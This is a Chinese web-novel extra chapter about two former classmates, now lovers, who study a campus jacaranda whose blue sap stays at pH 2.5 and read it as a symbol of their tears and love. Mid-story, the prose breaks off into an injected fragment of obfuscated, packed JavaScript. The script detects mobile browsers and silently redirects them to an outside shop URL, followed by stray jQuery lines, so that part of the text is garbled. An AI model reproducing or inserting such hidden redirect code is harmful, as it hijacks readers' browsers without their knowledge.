A大操场的蓝花楹又开花了，紫蓝色的花云笼罩着跑道，一如十年前他们初入校园时的模样。
空气里弥漫着潮湿的泥土气息和淡淡的花香，雨季如期而至。
周昭阳撑着一把黑色的伞，独自站在那棵著名的蓝花楹下。
树干上挂着一个小小的、已经锈蚀的金属铭牌，标注着它的特殊身份。
雨水顺着伞骨滑落，在地面溅起细小的水花。
他蹲下身，目光专注地凝视着树根与泥土交界的地方。
果然，如同年鉴记录和他已发表的论文所述，那些蜿蜒粗壮的树根缝隙处，正缓慢地、一丝丝地渗出一种异常纯粹的蓝色汁液。
雨水稍稍稀释了它，但那抹蓝色依旧固执地存在着，像大地血管中流淌的忧郁血液。
他从随身携带的便携式样品箱里，取出无菌采样管、手套和pH试纸。
动作熟练而轻柔，仿佛对待的不是植物分泌物，而是什么易碎的珍宝。
冰凉的雨水似乎也带着十年前的气息。
他记得很多个这样的雨天，许沉星总会提前发信息提醒他带伞，会在下课后等在教学楼门口，自然而然地接过他沉重的书包，将伞倾向他那一侧，自己的右肩却总是被淋湿。
“PH2.5……”周昭阳喃喃自语，将一滴蓝色的汁液小心地滴在精密pH试纸上。
试纸迅速变色，他拿出色卡比对，数值稳稳地指向那个熟悉的、近乎偏执的酸度——2.5。
这不合常理。
任何一种植物的汁液，其酸碱度都可能因环境、季节、树龄而变化，但这棵蓝花楹的汁液，年复一年，恒久地保持着PH2.5的微酸。
他的论文解释了可能存在的有机酸缓冲体系，但内心深处，他总觉得这更像一个奇迹，或者说，一个执念。
身后传来轻微的脚步声，踩在湿漉漉的草地上。
一把更大的伞笼罩在他头顶，隔绝了雨声。
“又来了？”许沉星的声音低沉而温柔，他今天穿着简单的灰色针织衫，气质比少年时柔和了许多，但那份专注看向周昭阳的眼神，从未改变。
“嗯，”周昭阳没有回头，只是向后靠了靠，倚在他的腿边，“采集雨季的新样本。”
“数据还是老样子，PH2.5，分毫不差。”
许沉星也蹲了下来，和他并肩看着那抹蓝色。
他伸出手指，似乎想去触碰，又在半空停住。
指尖还残留着颜料和松节油的气息。
“像眼泪。”许沉星忽然说。
周昭阳侧头看他。
“PH值……和眼泪差不多，不是吗？”许沉星的目光依旧落在蓝色的汁液上，声音很轻，“那年……你走之后，我一个人来看过它很多次。每次下雨，就看到它这样渗着蓝色的……眼泪。”
周昭阳的心像是被那PH2.5的液体浸过，泛起一阵微酸涩的疼。
他想起那段分离的时光，那些误解、自责和漫长的思念。
“那时候，我就想，”许沉星继续缓缓说道，像是在揭开一幅尘封的画作上的纱布，“这棵树，是不是把所有人的难过都吸走了，所以才一直保持着这个酸度。”
“我的，你的……所有没能说出口的抱歉和想念，都变成了它的汁液。”
所以他后来画了那么多蓝花楹，画它四季流转，画它根系深入黑暗，画它渗出PH2.5的蓝色眼泪。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613813|187655||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>那不是冷酷的医学报告，而是他那些年所有情感的隐喻和寄托。
他将无法言说的痛苦与思念，都封存在了画布上的PH2.5里。
周昭阳握住了他悬在半空的手，指尖冰凉，却被他紧紧攥住。
“所以，你那幅《PH2.5》……”
“是情书。”许沉星回握住他，语气肯定，“一封写了很久、很酸、但最终没有寄丢的情书。”
雨渐渐小了。
阳光透过云层和花叶的缝隙，洒下斑驳的光点。
那蓝色的汁液在光线下，折射出如同宝石般细碎的光芒。
周昭阳忽然明白了。
这棵树的PH2.5，或许真的是一种自然的巧合。
但对他们而言，它早已超越了植物学的意义。
它是青春时期懵懂心动的酸涩。
是争吵误解时委屈的泪水。
是分离岁月里无尽思念的滋味。
也是重逢之后，所有酸楚最终沉淀出的、那份独一无二、恒久不变的爱的证明。
它的酸度不高，刚好能刺痛回忆。
酸度也不低，刚好能被时光和爱意温柔中和，酿成一种只属于他们的、回甘的深情。
“走吧，”周昭阳站起身，同时拉起了许沉星，“样本采够了。回家。”
“嗯。”
两人共撑一把伞，并肩离开操场。
身后，那棵巨大的蓝花楹静静伫立，蓝色的“眼泪”依旧缓缓渗出，永恒地保持着PH2.5的酸度。
那是岁月凝固的悲伤，也是自然写就的，最漫长的情书。
没说完的话，都会成为雾港的一场雾。
(番外·完)